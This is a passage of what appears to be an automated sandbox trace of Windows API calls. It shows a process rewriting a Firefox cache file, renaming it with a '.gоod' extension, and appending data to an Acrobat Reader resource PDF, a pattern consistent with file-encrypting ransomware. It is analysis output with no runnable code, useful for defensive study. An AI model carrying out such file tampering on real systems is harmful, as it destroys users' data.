lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\254686BCA69ED43CB6F2FD35C26758AA2D993329", nBufferLength=0x105, lpBuffer=0x1fbeaa30, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\254686BCA69ED43CB6F2FD35C26758AA2D993329", lpFilePart=0x0) returned 0x7f [0272.439] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbeaf50) returned 1 [0272.439] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\254686BCA69ED43CB6F2FD35C26758AA2D993329" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\254686bca69ed43cb6f2fd35c26758aa2d993329"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x864 [0272.439] GetFileType (hFile=0x864) returned 0x1 [0272.439] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeaec0) returned 1 [0272.439] GetFileType (hFile=0x864) returned 0x1 [0272.439] GetFileSize (in: hFile=0x864, lpFileSizeHigh=0x1fbeb0f8 | out: lpFileSizeHigh=0x1fbeb0f8*=0x0) returned 0xe3c [0272.439] ReadFile (in: hFile=0x864, lpBuffer=0x38d75e0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fbeb028, lpOverlapped=0x0 | out: lpBuffer=0x38d75e0*, lpNumberOfBytesRead=0x1fbeb028*=0xe3c, lpOverlapped=0x0) returned 1 [0272.440] CloseHandle (hObject=0x864) returned 1 [0274.171] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\254686BCA69ED43CB6F2FD35C26758AA2D993329", nBufferLength=0x105, lpBuffer=0x1fbeaa30, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\254686BCA69ED43CB6F2FD35C26758AA2D993329", lpFilePart=0x0) returned 0x7f [0274.171] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbeaf50) returned 1 [0274.171] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\254686BCA69ED43CB6F2FD35C26758AA2D993329" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\254686bca69ed43cb6f2fd35c26758aa2d993329"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x808 [0274.172] GetFileType (hFile=0x808) returned 0x1 [0274.172] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeaec0) returned 1 [0274.172] GetFileType (hFile=0x808) returned 0x1 [0274.172] WriteFile (in: hFile=0x808, lpBuffer=0x3b03028*, nNumberOfBytesToWrite=0xe40, lpNumberOfBytesWritten=0x1fbeaf38, lpOverlapped=0x0 | out: lpBuffer=0x3b03028*, lpNumberOfBytesWritten=0x1fbeaf38*=0xe40, lpOverlapped=0x0) returned 1 [0274.173] CloseHandle (hObject=0x808) returned 1 [0274.173] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\254686BCA69ED43CB6F2FD35C26758AA2D993329", nBufferLength=0x105, lpBuffer=0x1fbeabd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\254686BCA69ED43CB6F2FD35C26758AA2D993329", lpFilePart=0x0) returned 0x7f [0274.173] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\254686BCA69ED43CB6F2FD35C26758AA2D993329.gоod", nBufferLength=0x105, lpBuffer=0x1fbeabd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\254686BCA69ED43CB6F2FD35C26758AA2D993329.gоod", lpFilePart=0x0) returned 0x84 [0274.173] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbeb060) returned 1 [0274.173] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\254686BCA69ED43CB6F2FD35C26758AA2D993329" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\254686bca69ed43cb6f2fd35c26758aa2d993329"), fInfoLevelId=0x0, lpFileInformation=0x1fbeb140 | out: lpFileInformation=0x1fbeb140*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x69183c7, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x69183c7, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x9fa1a5f7, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0xe40)) returned 1 [0274.173] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeb020) returned 1 [0274.173] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\254686BCA69ED43CB6F2FD35C26758AA2D993329" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\254686bca69ed43cb6f2fd35c26758aa2d993329"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\254686BCA69ED43CB6F2FD35C26758AA2D993329.gоod" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\254686bca69ed43cb6f2fd35c26758aa2d993329.gоod")) returned 1 [0274.174] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\2598A1CBB2EA6DB15DFF6382E5B17F41B01B4F0E", nBufferLength=0x105, lpBuffer=0x1fbeabd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\2598A1CBB2EA6DB15DFF6382E5B17F41B01B4F0E", lpFilePart=0x0) returned 0x7f [0274.174] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbeb0a0) returned 1 [0274.174] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\2598A1CBB2EA6DB15DFF6382E5B17F41B01B4F0E" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\2598a1cbb2ea6db15dff6382e5b17f41b01b4f0e"), fInfoLevelId=0x0, lpFileInformation=0x3b043c8 | out: lpFileInformation=0x3b043c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x45d74626, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0x45d74626, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x45d74626, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0xad2)) returned 1 [0274.174] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeb060) returned 1 [0274.174] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\2598A1CBB2EA6DB15DFF6382E5B17F41B01B4F0E", nBufferLength=0x105, lpBuffer=0x1fbeaa30, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\2598A1CBB2EA6DB15DFF6382E5B17F41B01B4F0E", lpFilePart=0x0) returned 0x7f [0274.174] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbeaf50) returned 1 [0274.175] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\2598A1CBB2EA6DB15DFF6382E5B17F41B01B4F0E" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\2598a1cbb2ea6db15dff6382e5b17f41b01b4f0e"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x808 [0274.175] GetFileType (hFile=0x808) returned 0x1 [0274.175] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeaec0) returned 1 [0274.175] GetFileType (hFile=0x808) returned 0x1 [0274.175] GetFileSize (in: hFile=0x808, lpFileSizeHigh=0x1fbeb0f8 | out: lpFileSizeHigh=0x1fbeb0f8*=0x0) returned 0xad2 [0274.175] ReadFile (in: hFile=0x808, lpBuffer=0x3b05298, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fbeb028, lpOverlapped=0x0 | out: lpBuffer=0x3b05298*, lpNumberOfBytesRead=0x1fbeb028*=0xad2, lpOverlapped=0x0) returned 1 [0274.176] CloseHandle (hObject=0x808) returned 1 Thread: id = 163 os_tid = 0x868 [0093.540] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0093.541] CoGetContextToken (in: pToken=0x1fcef390 | out: pToken=0x1fcef390) returned 0x0 [0093.541] IUnknown:QueryInterface (in: This=0x12e64d0, riid=0x7ff9122eadf8*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1fcef3c8 | out: ppvObject=0x1fcef3c8*=0x12e64e8) returned 0x0 [0093.541] IComThreadingInfo:GetCurrentThreadType (in: This=0x12e64e8, pThreadType=0x1fcef438 | out: pThreadType=0x1fcef438*=0) returned 0x0 [0093.541] IUnknown:Release (This=0x12e64e8) returned 0x0 [0093.541] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x1 [0093.541] CoUninitialize () [0093.541] RoInitialize () returned 0x1 [0093.541] RoUninitialize () returned 0x0 [0093.542] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee500) returned 1 [0093.542] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource", nBufferLength=0x105, lpBuffer=0x1fcedfa0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource", lpFilePart=0x0) returned 0x37 [0093.542] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\*", lpFindFileData=0x1fcee220 | out: lpFindFileData=0x1fcee220*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x340441b0, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x389535d8, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x389535d8, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec1dc40 [0093.543] FindNextFileW (in: hFindFile=0x1ec1dc40, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x340441b0, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x389535d8, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x389535d8, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0093.544] FindNextFileW (in: hFindFile=0x1ec1dc40, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x360cac05, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xbb242eca, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x360cac05, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="CMap", cAlternateFileName="")) returned 1 [0093.544] FindNextFileW (in: hFindFile=0x1ec1dc40, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb506b200, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x3892d384, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb506b200, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x1d9e, dwReserved0=0x0, dwReserved1=0x0, cFileName="ENUtxt.pdf", cAlternateFileName="")) returned 1 [0093.544] FindNextFileW (in: hFindFile=0x1ec1dc40, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x360f0e5b, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x36222164, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x36222164, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Font", cAlternateFileName="")) returned 1 [0093.544] FindNextFileW (in: hFindFile=0x1ec1dc40, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x389535d8, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x389535d8, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x389535d8, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SaslPrep", cAlternateFileName="")) returned 1 [0093.544] FindNextFileW (in: hFindFile=0x1ec1dc40, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x340441b0, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x340441b0, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x340441b0, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="TypeSupport", cAlternateFileName="TYPESU~1")) returned 1 [0093.544] FindNextFileW (in: hFindFile=0x1ec1dc40, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x340441b0, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x340441b0, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x340441b0, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="TypeSupport", cAlternateFileName="TYPESU~1")) returned 0 [0093.545] FindClose (in: hFindFile=0x1ec1dc40 | out: hFindFile=0x1ec1dc40) returned 1 [0093.545] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee440) returned 1 [0093.545] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee400) returned 1 [0093.545] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee500) returned 1 [0093.545] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource", nBufferLength=0x105, lpBuffer=0x1fcedfa0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource", lpFilePart=0x0) returned 0x37 [0093.545] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\*", lpFindFileData=0x1fcee220 | out: lpFindFileData=0x1fcee220*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x340441b0, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x389535d8, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x389535d8, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec1dc40 [0093.545] FindNextFileW (in: hFindFile=0x1ec1dc40, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x340441b0, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x389535d8, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x389535d8, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0093.545] FindNextFileW (in: hFindFile=0x1ec1dc40, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x360cac05, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xbb242eca, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x360cac05, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="CMap", cAlternateFileName="")) returned 1 [0093.545] FindNextFileW (in: hFindFile=0x1ec1dc40, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb506b200, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x3892d384, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb506b200, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x1d9e, dwReserved0=0x0, dwReserved1=0x0, cFileName="ENUtxt.pdf", cAlternateFileName="")) returned 1 [0093.546] FindNextFileW (in: hFindFile=0x1ec1dc40, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x360f0e5b, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x36222164, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x36222164, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Font", cAlternateFileName="")) returned 1 [0093.546] FindNextFileW (in: hFindFile=0x1ec1dc40, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x389535d8, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x389535d8, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x389535d8, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SaslPrep", cAlternateFileName="")) returned 1 [0093.546] FindNextFileW (in: hFindFile=0x1ec1dc40, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x340441b0, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x340441b0, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x340441b0, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="TypeSupport", cAlternateFileName="TYPESU~1")) returned 1 [0093.546] FindNextFileW (in: hFindFile=0x1ec1dc40, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0093.546] FindClose (in: hFindFile=0x1ec1dc40 | out: hFindFile=0x1ec1dc40) returned 1 [0093.546] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee440) returned 1 [0093.546] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee400) returned 1 [0093.546] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\ENUtxt.pdf", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\ENUtxt.pdf", lpFilePart=0x0) returned 0x42 [0093.546] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee2b0) returned 1 [0093.546] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\ENUtxt.pdf" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\resource\\enutxt.pdf"), fInfoLevelId=0x0, lpFileInformation=0x35183b8 | out: lpFileInformation=0x35183b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb506b200, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x3892d384, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb506b200, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x1d9e)) returned 1 [0093.629] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee270) returned 1 [0093.629] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\ENUtxt.pdf", nBufferLength=0x105, lpBuffer=0x1fcedc90, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\ENUtxt.pdf", lpFilePart=0x0) returned 0x42 [0093.629] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee1b0) returned 1 [0093.629] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\ENUtxt.pdf" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\resource\\enutxt.pdf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x778 [0093.629] GetFileType (hFile=0x778) returned 0x1 [0093.629] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee120) returned 1 [0093.629] GetFileType (hFile=0x778) returned 0x1 [0093.629] SetFilePointer (in: hFile=0x778, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1fcee308*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1fcee308*=0) returned 0x1000 [0093.629] ReadFile (in: hFile=0x778, lpBuffer=0x35743d8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fcee2d8, lpOverlapped=0x0 | out: lpBuffer=0x35743d8*, lpNumberOfBytesRead=0x1fcee2d8*=0xd9e, lpOverlapped=0x0) returned 1 [0093.634] CloseHandle (hObject=0x778) returned 1 [0093.634] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\ENUtxt.pdf", nBufferLength=0x105, lpBuffer=0x1fcedc90, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\ENUtxt.pdf", lpFilePart=0x0) returned 0x42 [0093.634] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee1b0) returned 1 [0093.634] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\ENUtxt.pdf" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\resource\\enutxt.pdf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x778 [0093.638] GetFileType (hFile=0x778) returned 0x1 [0093.638] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee120) returned 1 [0093.638] GetFileType (hFile=0x778) returned 0x1 [0093.638] SetFilePointer (in: hFile=0x778, lDistanceToMove=0, lpDistanceToMoveHigh=0x1fcee308*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1fcee308*=0) returned 0x1d9e [0093.639] WriteFile (in: hFile=0x778, lpBuffer=0x3577e70*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1fcee1f8, lpOverlapped=0x0 | out: lpBuffer=0x3577e70*, lpNumberOfBytesWritten=0x1fcee1f8*=0x10, lpOverlapped=0x0) returned 1 [0093.639] CloseHandle (hObject=0x778) returned 1 [0093.639] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\ENUtxt.pdf", nBufferLength=0x105, lpBuffer=0x1fcedc90, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\ENUtxt.pdf", lpFilePart=0x0) returned 0x42 [0093.639] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee1b0) returned 1 [0093.639] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\ENUtxt.pdf" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\resource\\enutxt.pdf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x778 [0093.639] GetFileType (hFile=0x778) returned 0x1 [0093.639] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee120) returned 1 [0093.639] GetFileType (hFile=0x778) returned 0x1 [0093.639] ReadFile (in: hFile=0x778, lpBuffer=0x357a120, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fcee288, lpOverlapped=0x0 | out: lpBuffer=0x357a120*, lpNumberOfBytesRead=0x1fcee288*=0x1000, lpOverlapped=0x0) returned 1 [0093.891] CloseHandle (hObject=0x778) returned 1 [0093.891] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\ENUtxt.pdf", nBufferLength=0x105, lpBuffer=0x1fcedc90, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\ENUtxt.pdf", lpFilePart=0x0) returned 0x42 [0093.891] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee1b0) returned 1 [0093.892] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\ENUtxt.pdf" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader 